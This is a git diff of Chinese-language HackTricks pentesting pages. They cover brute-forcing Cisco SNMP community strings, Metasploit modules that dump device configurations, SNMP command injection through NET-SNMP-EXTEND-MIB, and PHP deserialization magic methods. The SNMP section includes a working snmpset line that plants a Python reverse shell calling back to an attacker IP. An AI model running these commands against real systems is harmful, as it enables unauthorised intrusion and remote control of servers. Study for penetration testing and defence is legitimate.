* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,75 +1,62 @@
|
||||||
# Cisco SNMP
|
# 思科 SNMP
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您在**网络安全公司**工作,想在**HackTricks**上看到您的**公司广告**,或者想要获取**PEASS的最新版本或以PDF形式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们独家的[**PEASS家族**](https://opensea.io/collection/the-peass-family) [**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||||
* 获得[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
这个页面是从[https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)复制过来的
|
# 对思科网络进行渗透测试
|
||||||
|
|
||||||
## 通过SNMP进行配置泄露和枚举 <a href="#e21c" id="e21c"></a>
|
SNMP是用于监控计算机网络上设备状态的协议。它在UDP传输层协议上运行,端口号为161/UDP和162/UDP。
|
||||||
|
|
||||||
**SNMP(简单网络管理协议)**是一种允许您监视计算机网络上设备状态的协议。它可以是网络设备、IP电话、企业服务器或其他任何设备。
|
SNMP使用社区字符串,这些字符串作为SNMP代理和服务器之间通信的密码。这些社区字符串授予**只读(RO)或读写(RW)权限**。渗透测试人员可以通过**暴力破解社区字符串**来访问网络设备。
|
||||||
|
|
||||||
**SNMP使用UDP传输层协议,端口号为161/UDP和162/UDP。**所谓的社区字符串用于将SNMP代理指向服务器。可以说,这些是与SNMP服务器通信的特殊密码。**社区字符串可以具有只读(RO)或读写(RW)权限。**
|
要对社区字符串执行暴力破解攻击,可以使用**[onesixtyone](https://github.com/trailofbits/onesixtyone)**。这个工具需要一个字典来进行暴力破解和目标主机的IP地址:
|
||||||
|
|
||||||
**实际上,SNMP不仅可以监视设备状态,还可以对其进行完全管理:转储配置、更改配置等。**如果渗透测试人员可以查找社区字符串的值,他实际上就可以访问设备。**然而,这完全取决于他暴力破解的是RO还是RW社区字符串。**
|
|
||||||
|
|
||||||
**可以使用**[**onesixtyone**](https://github.com/trailofbits/onesixtyone)**实用程序来实现社区字符串的暴力破解。**它将使用暴力破解的字典和目标主机的IP地址作为输入。目标主机将是:
|
|
||||||
|
|
||||||
* **10.10.100.10 - Cisco vIOS交换机**
|
|
||||||
* **10.10.100.254 - Cisco vIOS路由器**
|
|
||||||
```
|
|
||||||
~$ onesixtyone -c communitystrings -i targets
|
|
||||||
```
|
|
||||||
我们发现了这些设备上使用的社区字符串。这为我们利用提供了机会。
|
|
||||||
|
|
||||||
### 8.1 cisco\_config\_tftp <a href="#1dbf" id="1dbf"></a>
|
|
||||||
|
|
||||||
使用Metasploit框架中的**cisco\_config\_tftp**模块,您可以通过知道社区字符串的值来获取设备配置。具有读写权限的字符串是**private**。
|
|
||||||
|
|
||||||
我们需要以下信息:
|
|
||||||
|
|
||||||
* **读写社区字符串(COMMUNITY)**
|
|
||||||
* **攻击者的IP地址(LHOST)**
|
|
||||||
* **目标设备的IP地址(RHOSTS)**
|
|
||||||
* **模块输出设备配置的路径(OUTPUTDIR)**
|
|
||||||
```bash
|
```bash
|
||||||
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set COMMUNITY private
|
onesixtyone -c communitystrings -i targets
|
||||||
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set RHOSTS 10.10.100.10
|
|
||||||
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set LHOST 10.10.100.50
|
|
||||||
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set OUTPUTDIR /home/necreas1ng/snmp
|
|
||||||
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > exploit
|
|
||||||
```
|
```
|
||||||
启动模块后,将下载带有地址10.10.100.10的主机配置(10.10.100.10.txt)到指定文件夹。
|
如果**社区字符串被发现**,进一步的利用就成为可能。
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (223).png>)
|
### `cisco_config_tftp`
|
||||||
|
|
||||||
### 8.2 snmp\_enum <a href="#3429" id="3429"></a>
|
使用 Metasploit 框架中的 `cisco_config_tftp` 模块,通过知道社区字符串的值,可以提取**设备配置**。需要具有**读写(RW)权限的社区字符串**。
|
||||||
|
|
||||||
使用此模块,您可以了解有关目标硬件的信息。一切都完全相同:指定**COMMUNITY**(顺便说一句,甚至具有**RO权限的字符串也可以**),以及目标设备的IP地址。
|
需要以下参数:
|
||||||
|
|
||||||
|
- 具有读写权限的社区字符串(COMMUNITY)
|
||||||
|
- 攻击者的 IP 地址(LHOST)
|
||||||
|
- 目标设备 IP 地址(RHOSTS)
|
||||||
|
- 设备配置输出目录的路径(OUTPUTDIR)
|
||||||
|
|
||||||
|
配置模块后,可以启动利用。具有指定 IP 地址的主机配置将被下载到指定文件夹。
|
||||||
|
|
||||||
|
### `snmp_enum`
|
||||||
|
|
||||||
|
**Metasploit 框架中的 `snmp_enum` 模块允许检索有关目标硬件的信息**。与前一个模块类似,需要 COMMUNITY 参数(即使是具有只读权限的字符串)和目标设备的 IP 地址:
|
||||||
```bash
|
```bash
|
||||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||||
```
|
```
|
||||||
<figure><img src="../../.gitbook/assets/image (218).png" alt=""><figcaption></figcaption></figure>
|
# 参考资料
|
||||||
|
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 您在**网络安全公司**工作吗?您想在**HackTricks**中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,10 +1,10 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客攻击直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在 **HackTricks中看到您的公司广告** 或 **下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
@ -12,78 +12,60 @@
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
# SNMP RCE
|
||||||
|
|
||||||
本文摘自[https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
|
如果管理员在设备或服务器上忽视了SNMP的默认配置,攻击者可以利用SNMP。通过**滥用具有写权限的SNMP社区 (rwcommunity)** 在Linux操作系统上,攻击者可以在服务器上执行命令。
|
||||||
|
|
||||||
SNMP有时会被设备或服务器的管理员忽视,它被保留在默认配置中。在Linux操作系统上具有写权限(**rwcommunity**)的SNMP社区可以被滥用,允许攻击者在服务器上执行命令。
|
## 通过附加命令扩展服务
|
||||||
|
|
||||||
![](https://rioasmara.files.wordpress.com/2021/02/image-6.png?w=508)
|
要扩展SNMP服务并添加额外命令,可以向"nsExtendObjects"表**追加新行**。这可以通过使用`snmpset`命令并提供必要的参数来实现,包括可执行文件的绝对路径和要执行的命令:
|
||||||
|
|
||||||
# **扩展服务**
|
|
||||||
|
|
||||||
虽然您无法修改在**snmpd.conf**中配置的现有条目,但可以通过SNMP添加额外的命令,因为MIB定义中的“MAX-ACCESS”权限设置为“**read-create**”
|
|
||||||
|
|
||||||
添加新命令基本上是通过向“**nsExtendObjects**”表追加额外的行来实现的。
|
|
||||||
```bash
|
```bash
|
||||||
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
|
||||||
'nsExtendStatus."evilcommand"' = createAndGo \
|
'nsExtendStatus."evilcommand"' = createAndGo \
|
||||||
'nsExtendCommand."evilcommand"' = /bin/echo \
|
'nsExtendCommand."evilcommand"' = /bin/echo \
|
||||||
'nsExtendArgs."evilcommand"' = 'hello world'
|
'nsExtendArgs."evilcommand"' = 'hello world'
|
||||||
```
|
```
|
||||||
在SNMP服务中注入命令以运行。**NET-SNMP-EXTEND-MIB** 要求您始终提供可执行文件的绝对路径。被调用的二进制文件/脚本也必须存在且可执行。
|
## 注入命令以执行
|
||||||
|
|
||||||
![](https://rioasmara.files.wordpress.com/2021/02/image-15.png?w=916)
|
要在SNMP服务上运行注入的命令,需要调用的二进制文件/脚本存在且可执行。**`NET-SNMP-EXTEND-MIB`** 规定提供可执行文件的绝对路径。
|
||||||
|
|
||||||
使用snmpwalk枚举我们注入到SNMP中的命令来执行该命令
|
为了确认注入命令的执行情况,可以使用 `snmpwalk` 命令来枚举SNMP服务。**输出将显示命令及其相关细节**,包括绝对路径:
|
||||||
```bash
|
```bash
|
||||||
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
|
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
|
||||||
```
|
```
|
||||||
显示命令是 `/bin/echo`。
|
## 运行注入的命令
|
||||||
|
|
||||||
![](https://rioasmara.files.wordpress.com/2021/02/image-11.png?w=569)
|
当**注入的命令被读取时,它就会被执行**。这种行为被称为 **`run-on-read()`**。命令的执行可以在snmpwalk读取期间被观察到。
|
||||||
|
|
||||||
当它被读取时,命令将被执行。**run-on-read\(\)**
|
### 利用SNMP获取服务器Shell
|
||||||
|
|
||||||
![](https://rioasmara.files.wordpress.com/2021/02/image-12.png?w=612)
|
为了控制服务器并获得服务器shell,可以使用mxrch开发的python脚本,从[**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)获取。
|
||||||
|
|
||||||
命令 **/bin/echo "hello rio is here"** 在我们的 snmpwalk 读取期间被执行了
|
或者,可以通过将特定命令注入到SNMP中手动创建一个反向shell。这个命令被snmpwalk触发,建立一个到攻击者机器的反向shell连接,使得可以控制受害机器。
|
||||||
|
你可以安装运行此脚本所需的前提条件:
|
||||||
![](https://rioasmara.files.wordpress.com/2021/02/image-13.png?w=653)
|
|
||||||
|
|
||||||
# **从 Net-SNMP Extend 获取 Shell**
|
|
||||||
|
|
||||||
在这一节中,我想讨论如何获得服务器 shell 来控制服务器。
|
|
||||||
|
|
||||||
你可以使用由 **mxrch** 开发的 python 脚本,可以从 [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git) 下载。
|
|
||||||
|
|
||||||
你可以安装运行此脚本的前提条件:
|
|
||||||
```bash
|
```bash
|
||||||
sudo apt install snmp snmp-mibs-downloader rlwrap -y
|
sudo apt install snmp snmp-mibs-downloader rlwrap -y
|
||||||
git clone https://github.com/mxrch/snmp-shell
|
git clone https://github.com/mxrch/snmp-shell
|
||||||
cd snmp-shell
|
cd snmp-shell
|
||||||
sudo python3 -m pip install -r requirements.txt
|
sudo python3 -m pip install -r requirements.txt
|
||||||
```
|
```
|
||||||
![](https://rioasmara.files.wordpress.com/2021/02/image-18.png?w=723)
|
或者一个反向 shell:
|
||||||
|
|
||||||
**创建反向 shell**
|
|
||||||
|
|
||||||
您也可以通过将下面的命令注入到 SNMP 中来手动创建反向 shell
|
|
||||||
```bash
|
```bash
|
||||||
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
|
||||||
```
|
```
|
||||||
运行snmpwalk触发命令执行
|
# 参考资料
|
||||||
|
* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
|
||||||
|
|
||||||
我们的netcat从受害者那里接收reverseshell连接,这使我们能够控制受害者机器
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks**中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
|
|
|
@ -2,24 +2,25 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客攻击直到成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您想在 **HackTricks中看到您的公司广告** 或 **下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我们 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
**序列化** 是将某个对象转换为可以稍后恢复的数据格式的过程。人们经常序列化对象以便将它们保存到存储中,或作为通信的一部分发送。
|
||||||
|
|
||||||
**序列化**是将某个对象转换为可以在以后恢复的数据格式的过程。人们通常将对象序列化以便将其保存到存储中,或作为通信的一部分发送。
|
**反序列化** 是该过程的逆过程,它将某种格式的结构化数据重建为对象。如今,最流行的序列化数据格式是JSON。在此之前,是XML。
|
||||||
|
|
||||||
**反序列化**是该过程的逆过程,它将从某种格式中结构化的数据重建为对象。如今,最流行的用于序列化数据的数据格式是JSON。在此之前,是XML。
|
在许多情况下,您可以在服务器端找到一些反序列化用户提供的某些对象的代码。\
|
||||||
|
在这种情况下,您可以发送恶意有效载荷,使服务器端的行为出现意外。
|
||||||
|
|
||||||
在许多情况下,您可以在服务器端找到一些代码,该代码对用户提供的某个对象进行反序列化。\
|
**您应该阅读:** [**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) **了解如何攻击。**
|
||||||
在这种情况下,您可以发送恶意有效负载以使服务器端表现出意外行为。
|
|
||||||
|
|
||||||
**您应该阅读:**[**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html)**以了解如何进行攻击。**
|
|
||||||
|
|
||||||
## PHP
|
## PHP
|
||||||
|
|
||||||
|
@ -27,12 +28,12 @@
|
||||||
|
|
||||||
* `__sleep` 在对象被序列化时调用,必须返回数组
|
* `__sleep` 在对象被序列化时调用,必须返回数组
|
||||||
|
|
||||||
与反序列化一起使用的魔术方法:
|
与反序列化一起使用的魔术方法
|
||||||
|
|
||||||
* `__wakeup` 在对象被反序列化时调用。
|
* `__wakeup` 在对象被反序列化时调用。
|
||||||
* 如果存在,将调用`__unserialize`而不是`__wakeup`。
|
* 如果存在,`__unserialize` 会代替 `__wakeup` 被调用。
|
||||||
* `__destruct` 在PHP脚本结束和对象被销毁时调用。
|
* `__destruct` 在PHP脚本结束且对象被销毁时调用。
|
||||||
* `__toString` 将对象用作字符串,但也可以根据其中的函数调用来读取文件或执行其他操作。
|
* `__toString` 将对象用作字符串,但也可以用来读取文件或更多,这取决于其中的函数调用。
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
class test {
|
class test {
|
||||||
|
@ -88,10 +89,10 @@ This is a test<br />
|
||||||
*/
|
*/
|
||||||
?>
|
?>
|
||||||
```
|
```
|
||||||
如果你查看结果,你会发现在对象反序列化时会调用**`__wakeup`**和**`__destruct`**函数。请注意,在一些教程中,你会发现在尝试打印某个属性时会调用**`__toString`**函数,但显然这种情况**不再发生**。
|
如果你查看结果,你可以看到当对象被反序列化时,函数 **`__wakeup`** 和 **`__destruct`** 被调用。请注意,在多个教程中你会发现当尝试打印某个属性时会调用 **`__toString`** 函数,但显然这**不再发生**。
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
如果在类中实现了方法**`__unserialize(array $data)`**,则会调用该方法**而不是`__wakeup()`**。它允许你通过将序列化数据作为数组提供来反序列化对象。你可以使用此方法来反序列化属性并执行任何必要的任务。
|
方法 **`__unserialize(array $data)`** 会在类中实现时**代替 `__wakeup()`** 被调用。它允许你通过提供序列化数据作为数组来反序列化对象。你可以使用这个方法来反序列化属性并在反序列化时执行任何必要的任务。
|
||||||
```php
|
```php
|
||||||
phpCopy codeclass MyClass {
|
phpCopy codeclass MyClass {
|
||||||
private $property;
|
private $property;
|
||||||
|
@ -104,11 +105,11 @@ $this->property = $data['property'];
|
||||||
```
|
```
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
您可以在此处阅读一个解释性的PHP示例:[https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/),这里[https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)或者这里[https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
